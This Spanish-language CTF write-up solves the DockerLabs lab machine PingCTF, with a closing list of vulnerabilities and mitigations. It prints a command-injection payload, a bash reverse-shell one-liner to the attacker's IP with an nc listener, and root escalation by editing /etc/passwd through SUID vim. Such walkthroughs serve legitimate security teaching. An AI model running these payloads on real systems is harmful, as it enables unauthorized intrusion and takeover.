Skip to content

PingCTF

This content is not available in your language yet.

Este documento detalla la resolución completa de la máquina PingCTF, desarrollada por Borazuwarah para la plataforma DockerLabs y clasificada como fácil.

El objetivo es describir el proceso completo de compromiso del sistema, desde la enumeración inicial hasta la escalada de privilegios, analizando cada vector de ataque y destacando las vulnerabilidades explotadas.

La metodología se divide en tres fases principales:

  1. Reconocimiento: Identificación de servicios expuestos y análisis del contenido web.
  2. Explotación: Obtención de acceso inicial mediante una inyección de comandos (RCE).
  3. Escalada de privilegios: Abuso de un binario SUID para obtener acceso a root.

Todas las acciones se realizaron en el entorno aislado proporcionado por DockerLabs.


AtributoValor
NombrePingCTF
AutorBorazuwarah
DificultadFácil
Fecha16/07/2025
PlataformaDockerLabs

Se descomprime y despliega la máquina:

Ventana de terminal
unzip "PingCTF.zip"
sudo bash auto_deploy.sh "PingCTF.tar"

El script arroja la IP asignada:

IP asignada


Ventana de terminal
mkdir -p PingCTF/{content,exploits,nmap,gobuster,scripts}
cd PingCTF
Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos:

  • 22/tcp – SSH
  • 80/tcp – HTTP

Puertos abiertos

El único vector de ataque accesible es el servicio HTTP.


Ventana de terminal
gobuster dir \
-u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js

Ruta relevante encontrada:

  • /index: contiene una herramienta web para realizar pings.

index content


La función de ping no parece operar correctamente, pero al probar con caracteres especiales es posible ejecutar comandos del sistema. La inyección utilizada fue:

Ventana de terminal
;id

RCE

Confirmada la ejecución remota de comandos (RCE), se procede a obtener una reverse shell.

Listener en el host:

Ventana de terminal
nc -nlvp 443

Payload inyectado en la herramienta web:

Ventana de terminal
;bash -c 'bash -i >& /dev/tcp/172.17.0.1/443 0>&1'

Reverse shell establecida:

reversehll


Primero se revisan permisos sudo, sin resultados útiles:

Ventana de terminal
sudo -l

Luego se buscan binarios SUID:

Ventana de terminal
find / -perm -4000 2>/dev/null

Resultado:

find result

El binario vim.basic es especialmente interesante, ya que permite abrir archivos con privilegios elevados.

Se intentó cargar un shell privilegiado desde Vim:

Ventana de terminal
/usr/bin/vim.basic -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

Este método no funcionó.

Método 2: Modificación de /etc/passwd (funcional)

Sección titulada «Método 2: Modificación de /etc/passwd (funcional)»

Se edita /etc/passwd y se elimina la x del usuario root:

Ventana de terminal
/usr/bin/vim.basic /etc/passwd

Archivo modificado:

content of /etc/passwd

Esto permite iniciar sesión como root sin contraseña:

Ventana de terminal
su root

Acceso root obtenido:

root


  1. Inyección de comandos (RCE) en la herramienta web de ping La entrada no está filtrada ni validada, permitiendo ejecutar comandos arbitrarios.

  2. Uso de un binario SUID inseguro (vim.basic) Vim no debe estar disponible como SUID debido a su capacidad para editar archivos sensibles.

  3. Protección incorrecta de /etc/passwd La existencia de un binario SUID capaz de modificar /etc/passwd permite eliminar la contraseña de root.

  4. Ausencia de mecanismos de monitoreo o restricción de shells inversas La máquina acepta conexiones entrantes sin restricciones a puertos críticos.

  5. No existencia de separación adecuada entre procesos web y privilegios del sistema El usuario www-data tiene acceso a binarios que deberían estar restringidos solo para usuarios privilegiados.


  1. Validar y sanitizar todas las entradas en aplicaciones web Cualquier entrada que se use en llamadas al sistema debe validarse o reemplazarse por herramientas seguras.

  2. Eliminar Vim y otros editores del conjunto de binarios SUID Solo programas absolutamente necesarios deben poseer el bit SUID.

  3. Proteger y auditar archivos críticos como /etc/passwd y /etc/shadow Las modificaciones solo deben ser posibles mediante programas seguros y controlados.

  4. Implementar restricciones en el firewall y limitar puertos accesibles Evita la salida o entrada no autorizada para prevenir reverse shells.

  5. Aplicar el principio de mínimo privilegio al usuario del servidor web Este usuario no debe tener acceso a herramientas administrativas ni rutas sensibles.

  6. Monitorear la ejecución de comandos en el servidor web Cualquier comportamiento sospechoso debe generar alertas.